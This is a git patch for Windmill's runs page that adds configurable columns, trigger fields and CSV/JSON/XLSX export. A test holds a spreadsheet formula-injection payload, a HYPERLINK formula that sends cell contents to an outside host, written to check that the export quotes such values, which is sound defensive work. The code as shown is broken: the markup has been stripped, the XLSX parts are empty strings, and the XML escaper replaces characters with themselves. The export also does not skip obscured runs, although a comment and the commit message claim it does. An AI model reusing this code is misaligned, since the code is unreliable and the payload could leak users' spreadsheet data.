From 47005d5fcfe43251b2b184fbe625e7790b9a2adc Mon Sep 17 00:00:00 2001 From: Ruben Fiszel Date: Mon, 9 Nov 2026 21:16:20 +0000 Subject: [PATCH] feat: configurable columns and csv/json/xlsx export on the runs page (#12302) * feat: configurable columns and csv/json/xlsx export on the runs page Co-Authored-By: Claude Opus 5.5 * fix: quote formula-like values in the runs csv export Co-Authored-By: Claude Opus 5.5 * fix: widen the runs table to its columns and skip obscured runs in exports Co-Authored-By: Claude Opus 5.5 * fix: clear a row-set trigger kind filter when another row filter is applied Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Claude Opus 5.5 --- backend/windmill-api-jobs/src/types.rs | 213 ++++++++++-------- backend/windmill-api/openapi.yaml | 6 + backend/windmill-types/src/jobs.rs | 9 + frontend/src/lib/components/RunsPage.svelte | 90 +++++++- .../src/lib/components/runs/RunRow.svelte | 127 +++++++++-- .../src/lib/components/runs/RunsTable.svelte | 50 ++-- .../src/lib/components/runs/runs-grid.css | 95 -------- .../src/lib/components/runs/runsColumns.ts | 107 +++++++++ .../lib/components/runs/runsExport.test.ts | 12 + .../src/lib/components/runs/runsExport.ts | 146 ++++++++++++ 10 files changed, 610 insertions(+), 245 deletions(-) delete mode 100644 frontend/src/lib/components/runs/runs-grid.css create mode 100644 frontend/src/lib/components/runs/runsColumns.ts create mode 100644 frontend/src/lib/components/runs/runsExport.test.ts create mode 100644 frontend/src/lib/components/runs/runsExport.ts diff --git a/backend/windmill-api-jobs/src/types.rs b/backend/windmill-api-jobs/src/types.rs index f50cb61451..60bf802a4a 100644 --- a/backend/windmill-api-jobs/src/types.rs +++ b/backend/windmill-api-jobs/src/types.rs @@ -19,7 +19,7 @@ use std::collections::HashMap; use uuid::Uuid; use windmill_common::{ error, - jobs::{CompletedJob, JobKind, JobStatus, JobTriggerKind, QueuedJob}, + jobs::{CompletedJob, JobKind, JobStatus, JobTriggerKind, QueuedJob, TriggerKindLabel}, scripts::{ScriptHash, ScriptLang}, utils::now_from_db, DB, @@ -323,6 +323,8 @@ pub struct UnifiedJob { pub runnable_settings_handle: Option, pub is_retry: Option, pub resolved: Option, + pub trigger_kind: Option, + pub trigger_path: Option, } const CJ_FIELDS: &[&str] = &[ @@ -366,6 +368,8 @@ const CJ_FIELDS: &[&str] = &[ "null as runnable_settings_handle", "EXISTS(SELECT 1 FROM native_retry_attempt WHERE job_id = v2_job.id) as is_retry", "EXISTS(SELECT 1 FROM job_resolution WHERE job_id = v2_job_completed.id) as resolved", + "v2_job.trigger_kind", + "v2_job.trigger as trigger_path", ]; const QJ_FIELDS: &[&str] = &[ @@ -410,6 +414,8 @@ const QJ_FIELDS: &[&str] = &[ "EXISTS(SELECT 1 FROM native_retry_attempt WHERE job_id = v2_job.id) as is_retry", // A job still in the queue has not failed, so it can never be resolved. "false as resolved", + "v2_job.trigger_kind", + "v2_job.trigger as trigger_path", ]; impl UnifiedJob { @@ -424,105 +430,114 @@ impl UnifiedJob { impl From for Job { fn from(uj: UnifiedJob) -> Self { let args = uj.args.and_then(|v| serde_json::from_value(v).ok()); + let worker = uj.worker; match uj.typ.as_ref() { - "CompletedJob" => Job::CompletedJob(JobExtended::new( - uj.self_wait_time_ms, - uj.aggregate_wait_time_ms, - CompletedJob { - workspace_id: uj.workspace_id, - id: uj.id, - parent_job: uj.parent_job, - created_by: uj.created_by, - created_at: uj.created_at, - started_at: uj.started_at, - completed_at: uj.completed_at, - duration_ms: uj.duration_ms.unwrap(), - success: uj.success.unwrap(), - script_hash: uj.script_hash, - script_path: uj.script_path, - args: args.clone(), - result: None, - result_columns: None, - logs: None, - flow_status: None, - workflow_as_code_status: None, - deleted: uj.deleted, - canceled: uj.canceled, - canceled_by: uj.canceled_by, - canceled_reason: None, - job_kind: uj.job_kind, - schedule_path: uj.schedule_path, - permissioned_as: uj.permissioned_as, - is_flow_step: uj.is_flow_step, - language: uj.language, - is_skipped: uj.is_skipped, - email: uj.email, - visible_to_owner: uj.visible_to_owner, - mem_peak: uj.mem_peak, - tag: uj.tag, - priority: uj.priority, - labels: uj.labels, - preprocessed: uj.preprocessed, - is_retry: uj.is_retry, - resolved: uj.resolved, - resolved_by: None, - resolved_at: None, - resolution_note: None, - resolved_automatically: None, - trigger_kind: None, - }, - )), - "QueuedJob" => Job::QueuedJob(JobExtended::new( - uj.self_wait_time_ms, - uj.aggregate_wait_time_ms, - QueuedJob { - workspace_id: uj.workspace_id, - id: uj.id, - parent_job: uj.parent_job, - created_by: uj.created_by, - created_at: uj.created_at, - started_at: uj.started_at, - scheduled_for: uj.scheduled_for.unwrap(), - running: uj.running.unwrap(), - script_hash: uj.script_hash, - script_path: uj.script_path, - script_entrypoint_override: None, - args, - logs: None, - canceled: uj.canceled, - canceled_by: uj.canceled_by, - canceled_reason: None, - last_ping: None, - job_kind: uj.job_kind, - schedule_path: uj.schedule_path, - permissioned_as: uj.permissioned_as, - flow_status: None, - workflow_as_code_status: None, - is_flow_step: uj.is_flow_step, - language: uj.language, - same_worker: false, - pre_run_error: None, - email: uj.email, - visible_to_owner: uj.visible_to_owner, - suspend: uj.suspend, - mem_peak: uj.mem_peak, - root_job: None, - leaf_jobs: None, - tag: uj.tag, - concurrent_limit: uj.concurrent_limit, - concurrency_time_window_s: uj.concurrency_time_window_s, - timeout: None, - flow_step_id: None, - cache_ttl: None, - cache_ignore_s3_path: None, - priority: uj.priority, - preprocessed: uj.preprocessed, - runnable_settings_handle: uj.runnable_settings_handle, - labels: uj.labels, - is_retry: uj.is_retry, - trigger_kind: None, - }, - )), + "CompletedJob" => Job::CompletedJob(JobExtended { + worker, + ..JobExtended::new( + uj.self_wait_time_ms, + uj.aggregate_wait_time_ms, + CompletedJob { + workspace_id: uj.workspace_id, + id: uj.id, + parent_job: uj.parent_job, + created_by: uj.created_by, + created_at: uj.created_at, + started_at: uj.started_at, + completed_at: uj.completed_at, + duration_ms: uj.duration_ms.unwrap(), + success: uj.success.unwrap(), + script_hash: uj.script_hash, + script_path: uj.script_path, + args: args.clone(), + result: None, + result_columns: None, + logs: None, + flow_status: None, + workflow_as_code_status: None, + deleted: uj.deleted, + canceled: uj.canceled, + canceled_by: uj.canceled_by, + canceled_reason: None, + job_kind: uj.job_kind, + schedule_path: uj.schedule_path, + permissioned_as: uj.permissioned_as, + is_flow_step: uj.is_flow_step, + language: uj.language, + is_skipped: uj.is_skipped, + email: uj.email, + visible_to_owner: uj.visible_to_owner, + mem_peak: uj.mem_peak, + tag: uj.tag, + priority: uj.priority, + labels: uj.labels, + preprocessed: uj.preprocessed, + is_retry: uj.is_retry, + resolved: uj.resolved, + resolved_by: None, + resolved_at: None, + resolution_note: None, + resolved_automatically: None, + trigger_kind: uj.trigger_kind, + trigger_path: uj.trigger_path, + }, + ) + }), + "QueuedJob" => Job::QueuedJob(JobExtended { + worker, + ..JobExtended::new( + uj.self_wait_time_ms, + uj.aggregate_wait_time_ms, + QueuedJob { + workspace_id: uj.workspace_id, + id: uj.id, + parent_job: uj.parent_job, + created_by: uj.created_by, + created_at: uj.created_at, + started_at: uj.started_at, + scheduled_for: uj.scheduled_for.unwrap(), + running: uj.running.unwrap(), + script_hash: uj.script_hash, + script_path: uj.script_path, + script_entrypoint_override: None, + args, + logs: None, + canceled: uj.canceled, + canceled_by: uj.canceled_by, + canceled_reason: None, + last_ping: None, + job_kind: uj.job_kind, + schedule_path: uj.schedule_path, + permissioned_as: uj.permissioned_as, + flow_status: None, + workflow_as_code_status: None, + is_flow_step: uj.is_flow_step, + language: uj.language, + same_worker: false, + pre_run_error: None, + email: uj.email, + visible_to_owner: uj.visible_to_owner, + suspend: uj.suspend, + mem_peak: uj.mem_peak, + root_job: None, + leaf_jobs: None, + tag: uj.tag, + concurrent_limit: uj.concurrent_limit, + concurrency_time_window_s: uj.concurrency_time_window_s, + timeout: None, + flow_step_id: None, + cache_ttl: None, + cache_ignore_s3_path: None, + priority: uj.priority, + preprocessed: uj.preprocessed, + runnable_settings_handle: uj.runnable_settings_handle, + labels: uj.labels, + is_retry: uj.is_retry, + trigger_kind: uj.trigger_kind, + trigger_path: uj.trigger_path, + }, + ) + }), t => panic!("job type {} not valid", t), } } diff --git a/backend/windmill-api/openapi.yaml b/backend/windmill-api/openapi.yaml index cd42d2480f..63df36c4ad 100644 --- a/backend/windmill-api/openapi.yaml +++ b/backend/windmill-api/openapi.yaml @@ -32229,6 +32229,9 @@ components: type: boolean trigger_kind: $ref: "#/components/schemas/JobTriggerKind" + trigger_path: + type: string + description: Path of the trigger, schedule or app that started the job, if any worker: type: string required: @@ -32375,6 +32378,9 @@ components: resolution outside enterprise trigger_kind: $ref: "#/components/schemas/JobTriggerKind" + trigger_path: + type: string + description: Path of the trigger, schedule or app that started the job, if any worker: type: string required: diff --git a/backend/windmill-types/src/jobs.rs b/backend/windmill-types/src/jobs.rs index 5b435ca383..ae7e83b697 100644 --- a/backend/windmill-types/src/jobs.rs +++ b/backend/windmill-types/src/jobs.rs @@ -309,6 +309,10 @@ pub struct QueuedJob { #[serde(default, skip_serializing_if = "Option::is_none")] #[sqlx(default)] pub trigger_kind: Option, + // `v2_job.trigger`: the path of the trigger, schedule or app that started the run. + #[serde(default, skip_serializing_if = "Option::is_none")] + #[sqlx(default)] + pub trigger_path: Option, } impl QueuedJob { @@ -386,6 +390,7 @@ impl Default for QueuedJob { labels: None, is_retry: None, trigger_kind: None, + trigger_path: None, } } } @@ -480,6 +485,10 @@ pub struct CompletedJob { #[serde(default, skip_serializing_if = "Option::is_none")] #[sqlx(default)] pub trigger_kind: Option, + // `v2_job.trigger`: the path of the trigger, schedule or app that started the run. + #[serde(default, skip_serializing_if = "Option::is_none")] + #[sqlx(default)] + pub trigger_path: Option, } impl CompletedJob { diff --git a/frontend/src/lib/components/RunsPage.svelte b/frontend/src/lib/components/RunsPage.svelte index 5f315b30d6..95c9e5677f 100644 --- a/frontend/src/lib/components/RunsPage.svelte +++ b/frontend/src/lib/components/RunsPage.svelte @@ -58,8 +58,17 @@ TriangleAlertIcon, ArrowLeft, Loader2, - SlidersHorizontal + SlidersHorizontal, + Columns3, + Download } from 'lucide-svelte' + import { + RUNS_COLUMNS, + DEFAULT_RUNS_COLUMNS, + normalizeRunsColumns, + type RunsColumnId + } from '$lib/components/runs/runsColumns' + import { exportRuns, type RunsExportFormat } from '$lib/components/runs/runsExport' import Popover from '$lib/components/meltComponents/Popover.svelte' import DropdownV2 from './DropdownV2.svelte' import TimeframeSelect, { @@ -109,6 +118,27 @@ }) ) let perPage = useLocalStorageValue('runs_per_page', 1000, 'number') + let columnsStorage = useLocalStorageValue( + 'runs_table_columns', + DEFAULT_RUNS_COLUMNS + ) + let runsColumns = $derived(normalizeRunsColumns(columnsStorage.val)) + function setColumnShown(id: RunsColumnId, shown: boolean) { + columnsStorage.val = shown ? [...runsColumns, id] : runsColumns.filter((c) => c !== id) + } + + let exporting = $state(false) + async function onExport(format: RunsExportFormat) { + exporting = true + try { + // Obscured runs of other workspaces carry placeholder fields, not their real outcome. + await exportRuns(jobs ?? [], format) + } catch (e) { + sendUserToast(`Could not export runs: ${e}`, true) + } finally { + exporting = false + } + } let showSchedulesStorage = useLocalStorageValue('runs_show_schedules', true, 'boolean') let showFutureJobsStorage = useLocalStorageValue('runs_show_future_jobs', true, 'boolean') @@ -314,6 +344,8 @@ delete filters.val.tag delete filters.val.worker delete filters.val.schedule_path + // `!schedule` is the persisted "hide schedules" preference, not a row filter. + if (filters.val.job_trigger_kind !== '!schedule') delete filters.val.job_trigger_kind setter(e.detail) } } @@ -326,6 +358,7 @@ const filterByTag = resetAndFilterBy((s) => (filters.val.tag = s)) const filterBySchedule = resetAndFilterBy((s) => (filters.val.schedule_path = s)) const filterByWorker = resetAndFilterBy((s) => (filters.val.worker = s)) + const filterByTriggerKind = resetAndFilterBy((s) => (filters.val.job_trigger_kind = s)) function typeOfChart(s: string | null): 'RunChart' | 'ConcurrencyChart' { switch (s) { @@ -1276,6 +1309,8 @@ on:filterByTag={filterByTag} on:filterBySchedule={filterBySchedule} on:filterByWorker={filterByWorker} + on:filterByTriggerKind={filterByTriggerKind} + columns={runsColumns} bind:this={runsTable} perPage={perPage.val} bind:batchRerunOptionsIsOpen @@ -1355,6 +1390,59 @@ Exit selection mode {/if} + + {#snippet trigger()} + + {/snippet} + {#snippet content()} + Visible columns + {#each RUNS_COLUMNS as column (column.id)} + setColumnShown(column.id, e.detail)} + options={{ right: column.label, rightTooltip: column.description }} + /> + {/each} + + {/snippet} + + onExport('csv') }, + { displayName: 'Export as JSON', action: () => onExport('json') }, + { displayName: 'Export as XLSX', action: () => onExport('xlsx') } + ]} + > + {#snippet buttonReplacement()} + + {/snippet} +
@@ -76,17 +79,7 @@ 'grid items-center h-full', 'success' in job && job.resolved && 'opacity-60' )} - class:grid-runs-table={!containsLabel && !manualSelectionMode && showTag} - class:grid-runs-table-with-labels={containsLabel && !manualSelectionMode && showTag} - class:grid-runs-table-selection={!containsLabel && manualSelectionMode && showTag} - class:grid-runs-table-with-labels-selection={containsLabel && manualSelectionMode && showTag} - class:grid-runs-table-no-tag={!containsLabel && !manualSelectionMode && !showTag} - class:grid-runs-table-with-labels-no-tag={containsLabel && !manualSelectionMode && !showTag} - class:grid-runs-table-selection-no-tag={!containsLabel && manualSelectionMode && !showTag} - class:grid-runs-table-with-labels-selection-no-tag={containsLabel && - manualSelectionMode && - !showTag} - style="width: {containerWidth}px" + style="width: {containerWidth}px; grid-template-columns: {gridTemplateColumns}" onclick={() => dispatch('select')} oncontextmenu={(e) => !selected && dispatch('select')} > @@ -102,7 +95,7 @@ - + {#if shown.has('started')}
{#if job} @@ -139,8 +132,9 @@ {/if}
+ {/if} - + {#if shown.has('duration')}
{#if job && 'duration_ms' in job && job.duration_ms != undefined} {msToReadableTime(job.duration_ms, 2)} @@ -148,8 +142,9 @@ - {/if}
+ {/if} - + {#if shown.has('path')}
{#if job === undefined} No job found @@ -239,8 +234,8 @@
{/if} - - {#if containsLabel} + {/if} + {#if shown.has('labels')}
{/if} - + {#if shown.has('triggered_by')}
{#if job && job.schedule_path}
@@ -312,15 +307,97 @@ {/if}
- - {#if showTag} -
+ {/if} + + {#if shown.has('trigger_kind')} +
+ {#if job.trigger_kind} + + {triggerDisplayNamesMap[job.trigger_kind] ?? job.trigger_kind} + + {#if !isExternal} + dispatch('filterByTriggerKind', job.trigger_kind) + } + ]} + class="w-fit" + > + {#snippet buttonReplacement()} + {@render filterButton()} + {/snippet} + + {/if} + {/if} +
+ {/if} + + {#if shown.has('trigger_path')} +
+ {#if job.trigger_path} +
+ {job.trigger_path} +
+ {/if} +
+ {/if} + + {#if shown.has('run_as')} +
+
+ {job.permissioned_as} +
+
+ {/if} + + {#if shown.has('tag')} +
{#if job.tag} {job.tag} {/if}
{/if} + {#if shown.has('worker')} +
+ {#if job.worker} + + {job.worker} + + dispatch('filterByWorker', job.worker) + } + ]} + class="w-fit" + > + {#snippet buttonReplacement()} + {@render filterButton()} + {/snippet} + + {/if} +
+ {/if} + + {#if shown.has('id')} +
+ {#if !isExternal} + {job.id} + {/if} +
+ {/if} + {#if !isExternal}
diff --git a/frontend/src/lib/components/runs/RunsTable.svelte b/frontend/src/lib/components/runs/RunsTable.svelte index c431b75f64..aabb961109 100644 --- a/frontend/src/lib/components/runs/RunsTable.svelte +++ b/frontend/src/lib/components/runs/RunsTable.svelte @@ -13,7 +13,12 @@ Wrench } from 'lucide-svelte' import Popover from '../Popover.svelte' - import './runs-grid.css' + import { + RUNS_COLUMNS, + runsGridTemplateColumns, + runsTableMinWidth, + type RunsColumnId + } from './runsColumns' import { useKeyPressed } from '$lib/svelte5Utils.svelte' import { twMerge } from 'tailwind-merge' import RightClickPopover from '../RightClickPopover.svelte' @@ -42,6 +47,7 @@ onCancelJobs: (jobIds: string[]) => void onSetJobsResolution: (jobIds: string[], resolved: boolean) => void loadingExtra?: boolean + columns: RunsColumnId[] } let { @@ -58,7 +64,8 @@ onCancelJobs, onSetJobsResolution, batchRerunOptionsIsOpen = $bindable(), - loadingExtra = false + loadingExtra = false, + columns }: Props = $props() let hasClickFocus = $state(false) @@ -257,6 +264,11 @@ }) let showTag = $derived(containerWidth > 700) + let shownColumns = $derived( + columns.filter((c) => (c !== 'labels' || containsLabel) && (c !== 'tag' || showTag)) + ) + let gridTemplateColumns = $derived(runsGridTemplateColumns(shownColumns, !!manualSelectionMode)) + let minWidth = $derived(runsTableMinWidth(shownColumns, !!manualSelectionMode)) let selectedIdsPossibleActions = $derived.by(() => { const cancellableJobIds: string[] = [] const rerunnableJobIds: string[] = [] @@ -382,7 +394,8 @@
(hasClickFocus = true)} use:clickOutside={{ onClickOutside: () => (hasClickFocus = false) }} @@ -391,16 +404,7 @@
{#if manualSelectionMode} {@const allSelected = selectedIds.length === selectableJobs?.length} @@ -440,16 +444,11 @@ {jobCount} {/if}
-
-
Duration
-
Path
- {#if containsLabel} -
Label
- {/if} -
Triggered by
- {#if showTag} -
Tag
- {/if} + {#each RUNS_COLUMNS.filter((c) => shownColumns.includes(c.id)) as column (column.id)} +
+ {column.id === 'started' ? '' : column.label} +
+ {/each}
@@ -509,8 +508,8 @@ > { @@ -570,6 +569,7 @@ on:filterByConcurrencyKey on:filterBySchedule on:filterByWorker + on:filterByTriggerKind {containerWidth} />
diff --git a/frontend/src/lib/components/runs/runs-grid.css b/frontend/src/lib/components/runs/runs-grid.css deleted file mode 100644 index 04e31ff94e..0000000000 --- a/frontend/src/lib/components/runs/runs-grid.css +++ /dev/null @@ -1,95 +0,0 @@ -/* Shared CSS Grid Styles for RunsTable and RunRow components */ - -/* Grid layouts with tag column */ -.grid-runs-table { - grid-template-columns: - 60px /* Status (fixed width) */ - minmax(100px, 0.8fr) /* Started time (~10%) */ - minmax(60px, 0.5fr) /* Duration (~7%) */ - minmax(200px, 2.3fr) /* Path (~33% reduced for wider tag) */ - minmax(150px, 1.8fr) /* Triggered by (~28% reduced for wider tag) */ - minmax(70px, 0.5fr) /* Tag (~7% wider) */ - minmax(40px, 0.3fr); /* Actions (~5%) */ -} - -.grid-runs-table-with-labels { - grid-template-columns: - 60px /* Status (fixed width) */ - minmax(100px, 0.8fr) /* Started time (~10%) */ - minmax(60px, 0.5fr) /* Duration (~7%) */ - minmax(150px, 1.6fr) /* Path (~25% reduced for labels and wider tag) */ - minmax(120px, 1.3fr) /* Labels (~22% reduced for wider tag) */ - minmax(110px, 1.3fr) /* Triggered by (~22% reduced for wider tag) */ - minmax(70px, 0.5fr) /* Tag (~7% wider) */ - minmax(40px, 0.3fr); /* Actions (~5%) */ -} - -.grid-runs-table-selection { - grid-template-columns: - 50px /* Selection checkbox (fixed width) */ - 80px /* Status (fixed width) */ - minmax(100px, 0.8fr) /* Started time (~10%) */ - minmax(60px, 0.5fr) /* Duration (~7%) */ - minmax(200px, 2.3fr) /* Path (~33% reduced for wider tag) */ - minmax(150px, 1.8fr) /* Triggered by (~28% reduced for wider tag) */ - minmax(70px, 0.5fr) /* Tag (~7% wider) */ - minmax(40px, 0.3fr); /* Actions (~5%) */ -} - -.grid-runs-table-with-labels-selection { - grid-template-columns: - 50px /* Selection checkbox (fixed width) */ - 80px /* Status (fixed width) */ - minmax(100px, 0.8fr) /* Started time (~10%) */ - minmax(60px, 0.5fr) /* Duration (~7%) */ - minmax(150px, 1.6fr) /* Path (~25% reduced for labels and wider tag) */ - minmax(120px, 1.3fr) /* Labels (~22% reduced for wider tag) */ - minmax(110px, 1.3fr) /* Triggered by (~22% reduced for wider tag) */ - minmax(70px, 0.5fr) /* Tag (~7% wider) */ - minmax(40px, 0.3fr); /* Actions (~5%) */ -} - -/* Grid layouts without tag column */ -.grid-runs-table-no-tag { - grid-template-columns: - 60px /* Status (fixed width) */ - minmax(100px, 0.8fr) /* Started time (~10%) */ - minmax(60px, 0.5fr) /* Duration (~7%) */ - minmax(200px, 2.8fr) /* Path (~38% expanded without tag) */ - minmax(150px, 2.2fr) /* Triggered by (~33% expanded without tag) */ - minmax(40px, 0.3fr); /* Actions (~5%) */ -} - -.grid-runs-table-with-labels-no-tag { - grid-template-columns: - 60px /* Status (fixed width) */ - minmax(100px, 0.8fr) /* Started time (~10%) */ - minmax(60px, 0.5fr) /* Duration (~7%) */ - minmax(150px, 1.8fr) /* Path (~30% expanded without tag) */ - minmax(120px, 1.8fr) /* Labels (~30% expanded without tag) */ - minmax(110px, 1.8fr) /* Triggered by (~30% expanded without tag) */ - minmax(40px, 0.3fr); /* Actions (~5%) */ -} - -.grid-runs-table-selection-no-tag { - grid-template-columns: - 40px /* Selection checkbox (fixed width) */ - 60px /* Status (fixed width) */ - minmax(100px, 0.8fr) /* Started time (~10%) */ - minmax(60px, 0.5fr) /* Duration (~7%) */ - minmax(200px, 2.8fr) /* Path (~38% expanded without tag) */ - minmax(150px, 2.2fr) /* Triggered by (~33% expanded without tag) */ - minmax(40px, 0.3fr); /* Actions (~5%) */ -} - -.grid-runs-table-with-labels-selection-no-tag { - grid-template-columns: - 50px /* Selection checkbox (fixed width) */ - 60px /* Status (fixed width) */ - minmax(100px, 0.8fr) /* Started time (~10%) */ - minmax(60px, 0.5fr) /* Duration (~7%) */ - minmax(150px, 1.8fr) /* Path (~30% expanded without tag) */ - minmax(120px, 1.8fr) /* Labels (~30% expanded without tag) */ - minmax(110px, 1.8fr) /* Triggered by (~30% expanded without tag) */ - minmax(40px, 0.3fr); /* Actions (~5%) */ -} \ No newline at end of file diff --git a/frontend/src/lib/components/runs/runsColumns.ts b/frontend/src/lib/components/runs/runsColumns.ts new file mode 100644 index 0000000000..f053732a26 --- /dev/null +++ b/frontend/src/lib/components/runs/runsColumns.ts @@ -0,0 +1,107 @@ +export type RunsColumnId = + | 'started' + | 'duration' + | 'path' + | 'labels' + | 'triggered_by' + | 'trigger_kind' + | 'trigger_path' + | 'run_as' + | 'tag' + | 'worker' + | 'id' + +export type RunsColumn = { + id: RunsColumnId + label: string + width: string + defaultVisible: boolean + // The header's job count overflows into the started column, so it always stays. + required?: boolean + description?: string +} + +// Display order of the table. The status and link columns are always shown. +export const RUNS_COLUMNS: RunsColumn[] = [ + { + id: 'started', + label: 'Started', + width: 'minmax(100px, 0.8fr)', + defaultVisible: true, + required: true + }, + { id: 'duration', label: 'Duration', width: 'minmax(60px, 0.5fr)', defaultVisible: true }, + { id: 'path', label: 'Path', width: 'minmax(150px, 2fr)', defaultVisible: true }, + { + id: 'labels', + label: 'Labels', + width: 'minmax(120px, 1.3fr)', + defaultVisible: true, + description: 'Shown when at least one listed run has labels' + }, + { + id: 'triggered_by', + label: 'Triggered by', + width: 'minmax(110px, 1.5fr)', + defaultVisible: true + }, + { + id: 'trigger_kind', + label: 'Trigger kind', + width: 'minmax(100px, 0.7fr)', + defaultVisible: false + }, + { + id: 'trigger_path', + label: 'Trigger', + width: 'minmax(120px, 1.3fr)', + defaultVisible: false, + description: 'Path of the schedule, trigger or app that started the run' + }, + { + id: 'run_as', + label: 'Run as', + width: 'minmax(100px, 1fr)', + defaultVisible: false, + description: 'The identity the run is permissioned as' + }, + { + id: 'tag', + label: 'Tag', + width: 'minmax(70px, 0.5fr)', + defaultVisible: true, + description: 'Hidden when the table is narrow' + }, + { id: 'worker', label: 'Worker', width: 'minmax(90px, 0.8fr)', defaultVisible: false }, + { id: 'id', label: 'Run ID', width: 'minmax(90px, 1fr)', defaultVisible: false } +] + +export const DEFAULT_RUNS_COLUMNS: RunsColumnId[] = RUNS_COLUMNS.filter( + (c) => c.defaultVisible +).map((c) => c.id) + +export function normalizeRunsColumns(columns: unknown): RunsColumnId[] { + const known = Array.isArray(columns) + ? RUNS_COLUMNS.filter((c) => columns.includes(c.id)).map((c) => c.id) + : DEFAULT_RUNS_COLUMNS + return [...new Set([...RUNS_COLUMNS.filter((c) => c.required).map((c) => c.id), ...known])] +} + +function gridTracks(columns: RunsColumnId[], selectionMode: boolean): string[] { + const widths = RUNS_COLUMNS.filter((c) => columns.includes(c.id)).map((c) => c.width) + return [...(selectionMode ? ['50px'] : []), '60px', ...widths, 'minmax(40px, 0.3fr)'] +} + +export function runsGridTemplateColumns(columns: RunsColumnId[], selectionMode: boolean): string { + return gridTracks(columns, selectionMode).join(' ') +} + +// The rows are virtualized and clip what overflows them, so the table itself must be wide +// enough for every track's minimum and let its container scroll horizontally instead. +export function runsTableMinWidth(columns: RunsColumnId[], selectionMode: boolean): number { + const tracksMin = gridTracks(columns, selectionMode).reduce( + (sum, track) => sum + Number(/(\d+)px/.exec(track)?.[1] ?? 0), + 0 + ) + return Math.max(650, tracksMin + 16) +} diff --git a/frontend/src/lib/components/runs/runsExport.test.ts b/frontend/src/lib/components/runs/runsExport.test.ts new file mode 100644 index 0000000000..adbdc03388 --- /dev/null +++ b/frontend/src/lib/components/runs/runsExport.test.ts @@ -0,0 +1,12 @@ +import { describe, it, expect } from 'vitest' +import { toCsv } from './runsExport' + +describe('runs CSV export', () => { + it('quotes values a spreadsheet would evaluate as a formula', () => { + const csv = toCsv([ + { labels: '=HYPERLINK("https://x/?"&A2,"x")', tag: '+1', path: 'f/foo/-bar', n: -3 } + ]) + const [, row] = csv.split('\n') + expect(row).toBe(`"'=HYPERLINK(""https://x/?""&A2,""x"")","'+1","f/foo/-bar",-3`) + }) +}) diff --git a/frontend/src/lib/components/runs/runsExport.ts b/frontend/src/lib/components/runs/runsExport.ts new file mode 100644 index 0000000000..5ddc37f856 --- /dev/null +++ b/frontend/src/lib/components/runs/runsExport.ts @@ -0,0 +1,146 @@ +import type { Job } from '$lib/gen' +import { Parser } from '@json2csv/plainjs' +import { download } from '$lib/utils' + +export type RunsExportFormat = 'csv' | 'json' | 'xlsx' + +type Cell = string | number | boolean | null + +function runStatus(job: Job): string { + if (job.type === 'CompletedJob') { + if (job.is_skipped) return 'skipped' + if (job.canceled) return 'canceled' + return job.success ? 'success' : 'failure' + } + if (job.canceled) return 'canceling' + const running = 'running' in job && job.running + if (running && 'suspend' in job && job.suspend) return 'suspended' + return running ? 'running' : 'queued' +} + +// One flat row per run, every field the list returns that is worth analysing, whatever +// columns the table shows. +export function runsExportRows(jobs: Job[]): Record[] { + return jobs.map((job) => ({ + id: job.id, + workspace_id: job.workspace_id ?? null, + status: runStatus(job), + resolved: job.type === 'CompletedJob' ? (job.resolved ?? false) : null, + path: job.script_path ?? null, + job_kind: job.job_kind, + created_at: job.created_at ?? null, + scheduled_for: job.type === 'QueuedJob' ? (job.scheduled_for ?? null) : null, + started_at: job.started_at ?? null, + completed_at: job.type === 'CompletedJob' ? (job.completed_at ?? null) : null, + duration_ms: job.type === 'CompletedJob' ? job.duration_ms : null, + triggered_by: job.created_by ?? null, + trigger_kind: job.trigger_kind ?? null, + trigger_path: job.trigger_path ?? null, + permissioned_as: job.permissioned_as, + email: job.email ?? null, + tag: job.tag ?? null, + worker: job.worker ?? null, + labels: ('labels' in job ? job.labels?.join(', ') : undefined) ?? null, + parent_job: job.parent_job ?? null, + is_flow_step: job.is_flow_step ?? null, + priority: job.priority ?? null, + mem_peak: job.mem_peak ?? null + })) +} + +// Labels, tags and paths are set by whoever runs a job, and a spreadsheet evaluates a cell +// starting with one of these as a formula, so they are quoted as text. +const FORMULA_PREFIX = /^[=+\-@\t\r]/ + +export function toCsv(rows: Record[]): string { + const fields = Object.keys(rows[0] ?? {}) + const safe = rows.map((row) => + Object.fromEntries( + Object.entries(row).map(([k, v]) => [ + k, + typeof v === 'string' && FORMULA_PREFIX.test(v) ? `'${v}` : v + ]) + ) + ) + return new Parser({ fields }).parse(safe) +} + +export async function exportRuns(jobs: Job[], format: RunsExportFormat): Promise { + const rows = runsExportRows(jobs) + const stamp = new Date().toISOString().replace(/[:.]/g, '-') + const filename = `runs-${stamp}.${format}` + if (format === 'json') { + download(filename, JSON.stringify(rows, null, 2), 'application/json') + } else if (format === 'csv') { + download(filename, toCsv(rows), 'text/csv;charset=utf-8') + } else { + const blob = await toXlsx(rows) + const url = URL.createObjectURL(blob) + const a = document.createElement('a') + a.href = url + a.download = filename + a.click() + setTimeout(() => URL.revokeObjectURL(url), 100) + } +} + +function escapeXml(s: string): string { + return s + .replace(/[\u0000-\u0008\u000B\u000C\u000E-\u001F]/g, '') + .replace(/&/g, '&') + .replace(//g, '>') + .replace(/"/g, '"') +} + +function columnName(i: number): string { + let name = '' + for (let n = i + 1; n > 0; n = Math.floor((n - 1) / 26)) { + name = String.fromCharCode(65 + ((n - 1) % 26)) + name + } + return name +} + +function xlsxCell(value: Cell, ref: string): string { + if (value === null || value === '') return '' + if (typeof value === 'number') return `${value}` + if (typeof value === 'boolean') return `${value ? 1 : 0}` + return `${escapeXml(value)}` +} + +// A single-sheet workbook with inline strings: the smallest part set Excel, Numbers and +// LibreOffice all open. +export async function toXlsx(rows: Record[]): Promise { + const { default: JSZip } = await import('jszip') + const headers = Object.keys(rows[0] ?? {}) + const sheetRows = [headers as Cell[], ...rows.map((r) => headers.map((h) => r[h]))].map( + (cells, r) => + `${cells.map((v, c) => xlsxCell(v, `${columnName(c)}${r + 1}`)).join('')}` + ) + const zip = new JSZip() + zip.file( + '[Content_Types].xml', + '' + ) + zip.file( + '_rels/.rels', + '' + ) + zip.file( + 'xl/workbook.xml', + '' + ) + zip.file( + 'xl/_rels/workbook.xml.rels', + '' + ) + zip.file( + 'xl/worksheets/sheet1.xml', + `${sheetRows.join('')}` + ) + return zip.generateAsync({ + type: 'blob', + compression: 'DEFLATE', + mimeType: 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet' + }) +}